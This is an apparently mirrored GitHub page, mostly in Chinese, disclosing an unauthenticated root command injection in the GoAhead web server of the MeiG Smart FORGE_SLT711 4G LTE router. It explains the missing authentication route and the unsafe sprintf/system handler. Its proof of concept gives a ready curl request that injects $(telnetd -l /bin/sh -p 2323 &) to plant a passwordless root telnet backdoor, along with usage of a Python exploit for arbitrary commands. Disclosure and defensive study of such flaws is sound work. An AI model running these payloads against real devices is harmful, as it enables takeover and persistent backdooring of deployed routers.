totekuh/CVE-2026-36356

GitHub: totekuh/CVE-2026-36356

CVE-2026-36356漏洞披露,针对梅格智能FORGE_SLT711 4G LTE CPE路由器在GoAhead Web服务器上存在的未认证命令注入漏洞,提供Python PoC实现root权限RCE。

Stars: 0 | Forks: 0

# CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead — 未认证操作系统命令注入(`/action/SetRemoteAccessCfg`) - **CVE**: CVE-2026-36356 - **CWE**: CWE-78, CWE-306 - **发现者**: Daniil Gordeev - **披露日期**: 2026-05-03 ## 摘要 GoAhead Web 服务器随 MeiG Smart FORGE_SLT711 4G LTE CPE 设备捆绑提供,暴露了一个未认证的 HTTP 端点 `/action/SetRemoteAccessCfg`,该端点在未进行 sanitization 的情况下将用户控制的 JSON 输入插入到 shell 命令中。单个未认证的 POST 请求即可执行任意命令,身份为 **root**。 两个独立的根本原因:缺少认证路由条目,以及处理程序中存在不安全的 `sprintf()` → `system()` 构建。 ## 受影响产品 - **供应商**: 梅格智能科技有限公司(中国深圳) - **产品**: FORGE_SLT711 4G LTE CPE 路由器 - **已确认固件**: `MDM9607.LE.1.0-00110-STD.PROD-1`(调制解调器固件 `BC-MGST711H_1.1.1_EQ101`) - **Web 服务器**: GoAhead 3.x(Embedthis),带有梅格自定义 action 处理程序(`/usr/bin/goahead`) 漏洞代码位于梅格的自定义 action 处理程序中,而非上游 GoAhead。该产品线的其他固件版本也可能受影响;尚未独立验证。 ## 测试环境 | | | |---|---| | 设备 | Ortel 4G LTE CPE(OEM:梅格 FORGE_SLT711)| | SoC | 高通 MDM9607,ARMv7 Cortex-A7 | | 内核 | Linux 3.18.48 | | 固件 | MDM9607.LE.1.0-00110-STD.PROD-1 | | 日期 | 2026-02-21 | ## 技术细节 ### 缺少认证(CWE-306) GoAhead 路由配置文件 `/var/www/route.txt` 列出了已认证的路由(第 64–150 行),使用 `auth=basic`。`/action/SetRemoteAccessCfg` **不在**此列表中。路由回退到第 156 行的 catch-all: ``` route uri=/action handler=action ``` 该 catch-all 没有 `auth=basic`,因此任何 HTTP 客户端都可以无需凭据即可调用 `/action/SetRemoteAccessCfg`。 ### 命令注入(CWE-78) 偏移量 `0x0003c6d8` 处的处理程序在 `/usr/bin/goahead` 中反编译结果为: ``` char password_buf[64]; // 0x40 bytes on stack char command_buf[256]; // 0x100 bytes on stack websGetJsonItemValue(json, "password", STRING, password_buf, 0x40); sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf); system(command_buf); ``` `password` 字段在双引号内进行插值。`$(...)` 替换和 `` `...` `` 反引号在双引号内会展开,因此攻击者可以控制 shell 命令。`system()` 以 `uid=0` 运行,因为 GoAhead 进程以 root 身份运行。无输入验证、无转义、无字符白名单。 ## 概念验证 ### 持久化 telnet 后门 ``` curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \ -H "Content-Type: application/json" \ -d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}' # Reachable via: telnet 192.168.1.1 2323 (root shell, no password) ``` ![未认证 RCE → 通过 /action/SetRemoteAccessCfg 在梅格 FORGE_SLT711(Ortel 4G LTE CPE)上获得 root shell](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/c365f22e2d102243.png) ### 参考 Python 漏洞利用 `poc_rce.py`(与本公告一同发布): ``` python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out' ``` 漏洞利用是盲目的 — 命令输出不在 HTTP 响应中。 ### 有效载荷约束 - `password` 缓冲区:64 字节 - 最终命令缓冲区:256 字节
标签:4G LTE, CISA项目, CPE路由器, CVE-2026-36356, CWE-306, CWE-78, FORGE_SLT711, GoAhead, IoT安全, JSON注入, MeiG Smart, Qualcomm, RCE, root权限, sprintf, system(), webshell, Web服务器, 命令注入, 安全漏洞, 嵌入式设备, 未授权访问, 物联网安全, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 零日漏洞